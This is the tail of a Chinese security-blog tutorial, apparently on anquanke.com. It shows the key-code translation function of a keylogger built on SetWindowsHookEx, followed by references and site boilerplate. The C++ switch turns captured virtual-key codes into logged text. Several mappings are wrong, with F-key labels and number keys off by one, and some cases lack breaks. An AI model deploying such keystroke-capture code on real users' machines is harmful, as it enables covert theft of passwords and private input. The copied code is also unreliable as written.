//返回值:无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
  {
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0:  key="0"; break;
caseVK_NUMPAD1:  key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3:  key="3"; break;
caseVK_NUMPAD4:  key="4"; break;
caseVK_NUMPAD5:  key="5"; break;
caseVK_NUMPAD6:  key="6"; break;
caseVK_NUMPAD7:  key="7"; break;
caseVK_NUMPAD8:  key="8"; break;
caseVK_NUMPAD9:  key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD:      key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL:  key="."; break;
caseVK_DIVIDE:   key="/"; break;
// Function Keys
caseVK_F1:  key="[F1]"; break;
caseVK_F2:  key="[F2]"; break;
caseVK_F3:  key="[F3]"; break;
caseVK_F4:  key="[F4]"; break;
caseVK_F5:  key="[F5]"; break;
caseVK_F6:  key="[F6]"; break;
caseVK_F7:  key="[F7]"; break;
caseVK_F8:  key="[F8]"; break;
caseVK_F9:  key="[F9]"; break;
caseVK_F10:  key="[F10]"; break;
caseVK_F11:  key="[F11]"; break;
caseVK_F12:  key="[F12]"; break;
caseVK_F13:  key="[F13]"; break;
caseVK_F14:  key="[F14]"; break;
caseVK_F15:  key="[F15]"; break;
caseVK_F16:  key="[F16]"; break;
caseVK_F17:  key="[F17]"; break;
caseVK_F18:  key="[F18]"; break;
caseVK_F19:  key="[F19]"; break;
caseVK_F20:  key="[F20]"; break;
caseVK_F21:  key="[F22]"; break;
caseVK_F22:  key="[F23]"; break;
caseVK_F23:  key="[F24]"; break;
caseVK_F24:  key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL:  key="[SCROLL-LOCK]"; break;
caseVK_BACK:    key="[BACK]"; break;
caseVK_TAB:     key="[TAB]"; break;
caseVK_CLEAR:   key="[CLEAR]"; break;
caseVK_RETURN:  key="[ENTER]"; break;
caseVK_SHIFT:   key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU:    key="[ALT]"; break;
caseVK_PAUSE:   key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE:  key="[ESC]"; break;
caseVK_SPACE:   key="[SPACE]"; break;
caseVK_PRIOR:   key="[PAGEUP]"; break;
caseVK_NEXT:    key="[PAGEDOWN]"; break;
caseVK_END:     key="[END]"; break;
caseVK_HOME:    key="[HOME]"; break;
caseVK_LEFT:    key="[LEFT]"; break;
caseVK_UP:      key="[UP]"; break;
caseVK_RIGHT:   key="[RIGHT]"; break;
caseVK_DOWN:    key="[DOWN]"; break;
caseVK_SELECT:  key="[SELECT]"; break;
caseVK_PRINT:   key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT:  key="[INS]"; break;
caseVK_DELETE:  key="[DEL]"; break;
caseVK_HELP:    key="[HELP]"; break;
// Number Keys with shift
case0x30:  key=shift?"!" : "1"; break;
case0x31:  key=shift?"@" : "2"; break;
case0x32:  key=shift?"#" : "3"; break;
case0x33:  key=shift?"$" : "4"; break;
case0x34:  key=shift?"%" : "5"; break;
case0x35:  key=shift?"^" : "6"; break;
case0x36:  key=shift?"&" : "7"; break;
case0x37:  key=shift?"*" : "8"; break;
case0x38:  key=shift?"(" : "9"; break;
case0x39:  key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN:     key="[WIN]"; break;
caseVK_RWIN:     key="[WIN]"; break;
caseVK_LSHIFT:   key="[SHIFT]"; break;
caseVK_RSHIFT:   key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1:      key=shift?":" : ";"; break;
caseVK_OEM_PLUS:   key=shift?"+" : "="; break;
caseVK_OEM_COMMA:  key=shift?"<" : ","; break;
caseVK_OEM_MINUS:  key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2:      key=shift?"?" : "/"; break;
caseVK_OEM_3:      key=shift?"~" : "`"; break;
caseVK_OEM_4:      key=shift?"{" : "["; break;
caseVK_OEM_5:      key=shift?"\\" : "|"; break;
caseVK_OEM_6:      key=shift?"}" : "]"; break;
caseVK_OEM_7:      key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY:       key="[PLAY]";
caseVK_ZOOM:       key="[ZOOM]";
caseVK_OEM_CLEAR:  key="[CLEAR]";
caseVK_CANCEL:     key="[CTRL-C]";
​
default: key="[UNK-KEY]";
break;
  }
key.copy(Out+strlen(Out), key.length(), 0);
​
return ;
}

 

7、参考文章

看雪:hook学习:使用SetWindowsHookEx实现一个简单的键盘记录器

以及查阅微软官方文档:SetWindowsHookExA

本文由1nt3原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/257129

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
1nt3
分享到:微信

发表评论

1nt3

成都信息工程大学-19级-二进制逆向_求成都工作岗

  • 文章
  • 6
  • 粉丝
  • 4

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66